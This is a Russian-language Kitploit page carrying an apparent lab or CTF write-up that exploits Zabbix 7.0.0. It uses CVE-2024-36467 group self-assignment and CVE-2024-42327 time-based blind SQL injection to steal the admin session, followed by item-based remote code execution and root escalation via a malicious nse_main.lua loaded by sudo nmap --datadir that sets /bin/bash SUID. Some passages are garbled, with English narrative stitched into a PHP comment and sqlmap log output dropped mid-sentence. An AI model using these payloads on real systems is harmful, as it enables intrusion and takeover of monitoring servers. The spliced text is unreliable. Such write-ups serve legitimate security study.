Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-42327 — разбор cve-2024-42327 | Kitploit
Инструменты/GitHubGitHub/igorbf495/cve-2024-42327
Повышение привилегийРазведкаАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийПост-эксплуатацияCTFТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubigorbf495/cve-2024-42327

CVE-2024-42327

1 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

разбор cve-2024-42327

Репозиторий

writeup CVE-2024-42327 уязвимость Zabbix

цель: 10.129.231.176

Информация: я знаю, что моя цель — сервер Zabbix. Я получил стандартную учётную запись пользователя для входа в Zabbix: пользователь matthew, пароль 96qzn0h2e1k3. Эта учётная запись имеет стандартного пользователя, без групп или дополнительных привилегий.

Как обычно, начнём с перечисления, сделаем сканирование портов с помощью nmap.

image

Вывод nmap показывает нам, что стандартный порт SSH и Apache2 также на стандартном порту. Также есть порты 10051 и 10050, на которых работает какой-то сервис Zabbix.

Зайдём в Zabbix, указав IP в URL браузера на стандартном HTTP-порту, порту 80.

image

Это экран входа в Zabbix. Войду с полученным пользователем.

image

image

В нижнем колонтитуле я нашёл версию Zabbix:

image

Используя «отца всех дураков» (Google), я поискал, есть ли уже какой-нибудь CVE для этой версии Zabbix.

image

После длительного поиска я увидел, что эта версия уязвима к CVE-2024-42327, который описывает эксплуатацию SQL-инъекции для получения данных из базы данных и повышения привилегий, и к CVE-2024-36467, который позволяет изменить роль пользователя на суперпользователя, злоупотребляя отсутствием контроля доступа.

https://nvd.nist.gov/vuln/detail/CVE-2024-36467

https://nvd.nist.gov/vuln/detail/CVE-2024-42327

В документации Zabbix есть инструкции, как делать HTTP-запросы для вызова API.

image

https://www.zabbix.com/documentation/current/en/manual/api

Я отправил запрос, вызывающий apiinfo.version, как написано в документации.

image

Что вернуло следующее:

root@kitploit:~
{"jsonrpc":"2.0","result":"7.0.0","id":1}

Для следующего теста я изменил несколько параметров в этом запросе и отправил снова.

image

В method я изменил apiinfo.version на user.login и добавил параметры username и password. Это я тоже видел в документации Zabbix.

image

Вернулся токен:

root@kitploit:~
{"jsonrpc":"2.0","result":"9566174b00c9c3ca552abc1a52d670ba","id":1}

После ещё некоторого времени поисков я решил зайти в репозиторий Zabbix на GitHub.

https://github.com/zabbix/zabbix

Я поискал CUser и нашёл файл CUser.php.

image

Мы нашли функцию user.update:

root@kitploit:~
public function update(array $users) {
$this->validateUpdate($users, $db_users);
self::updateForce($users, $db_users);
return ['userids' => array_column($users, 'userid')];
}

Я не нашёл никакой проверки авторизации, поэтому решил изменить свою роль на роль суперпользователя. Вернулся к запросу и подправил полезную нагрузку.

image

Вернулась ошибка с сообщением invalid params.

Проведя ещё один долгий анализ кода, мы нашли эту функцию:

root@kitploit:~
/**
* Additional check to exclude an opportunity to deactivate himself.
*
* @param array $users
* @param array $users[]['usrgrps'] (optional)
*
From this snippet, we understand that we cannot change our roles because our role is checked
from extracting our data from the API token, and verifying against the database if we are that user.
But following the code we see that usrgrps has no validation at all, and therefore can be abused
to add ourselves into multiple groups at once. As long as the group is not disabled and the group
allows GUI access we can abuse this to change our current role with the following command:
User ID 3 is matthew , User group 7 is the Zabbix administrators group and user group 13 is the
Internal group which both hold unrestrictive privileges. The response indicates that the change
was successful:
* @throws APIException
*/
private function checkHimself(array $users) {
foreach ($users as $user) {
if (bccomp($user['userid'], self::$userData['userid']) == 0) {
if (array_key_exists('roleid', $user) && $user['roleid'] !=
self::$userData['roleid']) {
self::exception(ZBX_API_ERROR_PARAMETERS, _('User cannot change
own role.'));
}
if (array_key_exists('usrgrps', $user)) {
$db_usrgrps = DB::select('usrgrp', [
'output' => ['gui_access', 'users_status'],
'usrgrpids' => zbx_objectValues($user['usrgrps'], 'usrgrpid')
]);
foreach ($db_usrgrps as $db_usrgrp) {
if ($db_usrgrp['gui_access'] == GROUP_GUI_ACCESS_DISABLED
|| $db_usrgrp['users_status'] ==
GROUP_STATUS_DISABLED) {
self::exception(ZBX_API_ERROR_PARAMETERS,
_('User cannot add himself to a disabled group or a
group with disabled GUI access.')
);
}
}
}
break;
}
}
}

Согласно этому фрагменту, мы не можем изменить свои роли, потому что наша роль проверяется путём извлечения наших данных из токена API и проверки в базе данных, являемся ли мы этим пользователем. Но анализируя код, мы видим, что usrgrps вообще не имеет проверки, и из-за этого отсутствия проверки им можно злоупотребить, чтобы добавить себя сразу в несколько групп. Нет никакой проверки, которая бы помешала пользователю добавить себя в группы, к которым у него не должно быть доступа.

Попробуем повысить привилегии, используя это отсутствие проверки. Я отредактировал полезную нагрузку и отправил запрос снова.

image

userid 3 относится к ID пользователя matthew usrgrps содержит список ID групп: 13 — это группа Internal, а 7 — группа Zabbix administrators. Ответ сервера подтверждает успешность операции:

root@kitploit:~
{"jsonrpc":"2.0","result":{"userids":["3"]},"id":1}

Теперь мы можем извлечь группы пользователей для нашего текущего пользователя. Изменим запрос и отправим снова.

image

Проверив ответ, мы видим, что пользователь с ID 3 находится в группах администраторов Internal и Zabbix.

root@kitploit:~
{"jsonrpc":"2.0","result":[{"userid":"1","usrgrps":
[{"usrgrpid":"7","name":"Zabbix administrators"},
{"usrgrpid":"13","name":"Internal"}]},{"userid":"2","usrgrps":
[{"usrgrpid":"8","name":"Guests"}]},{"userid":"3","usrgrps":
[{"usrgrpid":"7","name":"Zabbix administrators"},
{"usrgrpid":"13","name":"Internal"}]}],"id":1}

В сценарии, когда группе администраторов Zabbix была назначена допустимая группа хостов, они смогут использовать создание элементов для запуска удаленного выполнения кода, что будет рассмотрено в следующем CVE.

эксплуатация CVE-2024-42327

Анализируя исходный код в классе CUser снова, мы исследовали функцию user.get на строке 68. Строка 108 содержит проверку со следующим кодом:

root@kitploit:~
// permission check
if (self::$userData['type'] != USER_TYPE_SUPER_ADMIN) {
if (!$options['editable']) {
$sqlParts['from']['users_groups'] = 'users_groups ug';
$sqlParts['where']['uug'] = 'u.userid=ug.userid';
$sqlParts['where'][] = 'ug.usrgrpid IN ('.
' SELECT uug.usrgrpid'.
' FROM users_groups uug'.
' WHERE uug.userid='.self::$userData['userid'].
')';
}
else {
$sqlParts['where'][] = 'u.userid='.self::$userData['userid'];
}
}

Из этого кода, если опция editable передана в запросе к API, то вместо проверки группы пользователей проверка будет только подтверждать, что ID текущего пользователя соответствует текущему пользователю, что игнорирует разрешения при использовании функции user.get. На строке 234 выполняется вызов addRelatedObjects, который является уязвимой функцией, подверженной SQL-инъекции. Анализируя функцию addRelatedObject на строке 2969, мы видим, что большинство SQL-инструкций выглядят безопасными, пока не доходим до строки 3041.

root@kitploit:~
// adding user role
if ($options['selectRole'] !== null && $options['selectRole'] !==
API_OUTPUT_COUNT) {
if ($options['selectRole'] === API_OUTPUT_EXTEND) {
$options['selectRole'] = ['roleid', 'name', 'type', 'readonly'];
}
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.',
$options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
foreach ($result as $userid => $user) {
$result[$userid]['role'] = [];
}
while ($db_role = DBfetch($db_roles)) {
$userid = $db_role['userid'];
unset($db_role['userid']);
$result[$userid]['role'] = $db_role;
}
}
return $result;

В этом блоке, если указана опция selectRole, то выполняется небезопасный вызов функции DBSelect без санитизации пользовательских входных данных. Это приводит к SQL-инъекциям на основе времени и Boolean Blind.

Чтобы это проверить, мы взяли полезную нагрузку из этой ссылки и проверили, есть ли у нас успешная точка инъекции в параметрах selectRole.

image

Мы получили попадание, и цель засыпает на 5 секунд.

root@kitploit:~
{"jsonrpc":"2.0","result":[{"userid":"3","username":"matthew","role":
{"roleid":"1",""r.name and (SELECT 1 FROM (SELECT SLEEP(5))A)":"0"}}],"id":1}
real 5.12s
user 0.00s
sys 0.01s
cpu 0%

Используя Charles Proxy, мы перехватили запрос и сохранили его в файл со следующим содержанием:

image

Теперь, используя SQLMap, мы попытались идентифицировать возможные уязвимости и извлечь данные из базы данных:

image

Через некоторое время мы получили следующий результат:

root@kitploit:~
available databases [2]:
[*] information_schema
[*] zabbix

Согласно выводу, мы успешно получили имена баз данных, эксплуатируя SQL-инъекцию на основе времени.

Теперь попробуем RCE (удаленное выполнение кода).

Мы можем использовать неправильно настроенные агенты для получения удаленного выполнения кода. Чтобы сделать это из SQL-инъекции на основе времени, нам нужно извлечь таблицу сессий в базе данных, чтобы увидеть, был ли аутентифицирован пользователь Admin. К сожалению, поскольку это атака на основе времени, это может занять некоторое время, поэтому я включил многопоточный скрипт, который извлечет сессию администратора быстрее для последующего использования.

Полезная нагрузка выглядит так:

image

Это вложенная SQL-инъекция на основе времени, где мы внедряем нашу полезную нагрузку в параметр имени, добавляя AND для связывания условия.

root@kitploit:~
SELECT * FROM (SELECT(SLEEP(...)))BEEF

Мы используем внешнее условие SELECT, которое оборачивает условие SLEEP в подзапрос с меткой BEEF.

root@kitploit:~
SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE
userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0,
{TRUE_TIME})))

Условие SLEEP принимает значение TRUE_TIME в 1 секунду в этом скрипте и извлекает sessionid активной учётной записи администратора, которая была аутентифицирована на сайте или API. Условие SELECT выше извлекает первый результат с индексом (ROW) 0, который помещается в условие MID. Мы используем условие MID для извлечения символа на определенной позиции в sessionid, который увеличивается и помещается в условие ORD. Условие ORD преобразует извлеченный символ в значения ASCII для сравнения и помещается в условие IF. Условие IF [17:26:03] [INFO] автоматически расширяет диапазоны для тестирования техники UNION query injection, поскольку была найдена по крайней мере одна другая (потенциальная) техника [17:26:04] [INFO] проверка, является ли точка инъекции в параметре POST (пользовательский) '#1*' ложным срабатыванием. Параметр POST (пользовательский) '#1*' уязвим. Хотите продолжить тестирование других (если есть)? [s/N] n sqlmap идентифицировал следующие точки инъекции с общим количеством 77 HTTP-запросов: доступные базы данных [2]: [] information_schema [] zabbix name AND (SELECT * FROM (SELECT(SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME})))))BEEF) SELECT * FROM (SELECT(SLEEP(...)))BEEF SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME}))) проверяет, соответствует ли извлеченный символ ожидаемому ASCII-символу ( ord(char) ). Если условие выполняется и условие SLEEP срабатывает, то мы идентифицировали правильный символ и можем извлечь 32-символьный sessionid

Я написал скрипт на Python и выполнил его.

image

image

После выполнения скрипта мы видим, что успешно получили сессию администратора всего за 30 секунд.

image

Используя токен API пользователя Admin, мы можем перейти к созданию элемента, а затем запустить элемент через задачу. Сначала нам нужно создать элемент, но для этого нужно получить текущие ID хостов вместе с их ID интерфейсов.

image

Мы получили ответ:

root@kitploit:~
{"jsonrpc":"2.0","result":[{"hostid":"10084","host":"Zabbix server","interfaces":[{"interfaceid":"1"}]}],"id":1}

Теперь мы можем создать элемент со следующей полезной нагрузкой:

image

Прежде чем нажать Enter для полезной нагрузки, мы настроили слушатель nc на порту 4448 и подождали несколько секунд.

image

Теперь время нажать Enter для полезной нагрузки.

image

Сработало. Задача была создана с нашей вредоносной полезной нагрузкой, и мы получили RCE (удаленное выполнение кода). Теперь у нас есть доступ к серверу.

image

Теперь, когда у нас есть доступ к серверу, перейдем к повышению привилегий. Попробуем получить root-доступ к серверу.

Поскольку мы работаем под пользователем zabbix, проверим, можем ли мы выполнить какой-нибудь демон (программу) с правами sudo:

image

Мы видим, что можем выполнять /usr/bin/nmap без ограничений. После некоторого времени поиска в интернете я нашел проект GTFOBins. GTFOBins — это репозиторий, который перечисляет бинарные файлы, найденные в системах Unix/Linux, которые могут быть использованы творчески для повышения привилегий, побега из ограниченных сред (таких как chroot или контейнеры) и выполнения вредоносных команд.

image

https://gtfobins.github.io/gtfobins/nmap/#sudo

Попробуем использовать побег sudo из GTFOBins.

image

Похоже, что Nmap защищен скриптом-обёрткой, дополнительным уровнем защиты, реализованным для ограничения использования потенциально эксплуатируемых опций в Nmap. Попробуем прочитать файл /usr/bin/nmap. Откроем его с помощью текстового редактора nano и проанализируем этот файл.

image

После долгих поисков я увидел, что все побеги GTFOBins бесполезны в этом сценарии. Реализована обёртка для защиты Nmap от распространенных методов повышения привилегий. У меня не осталось вариантов, и я пошёл читать библиотеку nmap.

После длительного чтения я нашел кое-что интересное: опцию --datadir.

https://nmap.org/book/data-files-replacing-data-files.html

root@kitploit:~
--datadir <dirname>: Specify custom Nmap data file location

Эта опция позволяет указать каталог данных, где хранятся стандартные скрипты и другие важные элементы nmap; по умолчанию в данном случае это /usr/share/nmap. Проверим права доступа к этому файлу:

image

Исследуя эти файлы, я увидел, что файл nse_main.lua является стандартным файлом скрипта, который может быть запущен с параметром -sC. Это главный файл скрипта Nmap Scripting Engine (NSE). Он содержит функции, которые выполняются, когда Nmap используется с опцией -sC (сканирование со стандартными скриптами). Создав вредоносный скрипт с таким именем, можно заставить Nmap выполнить его автоматически. Чтобы использовать это, создадим новый файл /tmp/nse_main.lua с os.execute("chmod 4755 /bin/bash").

Я создал файл nse_main.lua, содержащий команду os.execute("chmod 4755 /bin/bash").

4755: Устанавливает SUID (Set User ID) на бинарный файл /bin/bash. Это позволяет любому пользователю, выполняющему /bin/bash, иметь те же привилегии, что и владелец файла, то есть root.

image

image

Когда мы сканируем localhost с включенным -sC, мы устанавливаем /bin/bash в SUID и порождаем оболочку с эффективным UID пользователя root.

image

--datadir=/tmp: Заставляет Nmap искать свои конфигурационные файлы и скрипты в каталоге /tmp. Это включает вредоносный скрипт nse_main.lua.

-sC: Включает выполнение стандартных скриптов, включая только что созданный вредоносный скрипт.

localhost: Заставляет Nmap выполнить сканирование самой системы.

Скрипт nse_main.lua выполняется Nmap с правами root (поскольку команда была выполнена с sudo).

image

Теперь, когда SUID активирован, мы можем выполнить: /bin/bash -p

image

-p: Сохраняет бит SUID и выполняет bash с привилегиями владельца (root).

image

uid=114: Идентификатор пользователя zabbix. euid=0: Фактически работает как root.

Теперь мы получили root-привилегии.

Скачать инструмент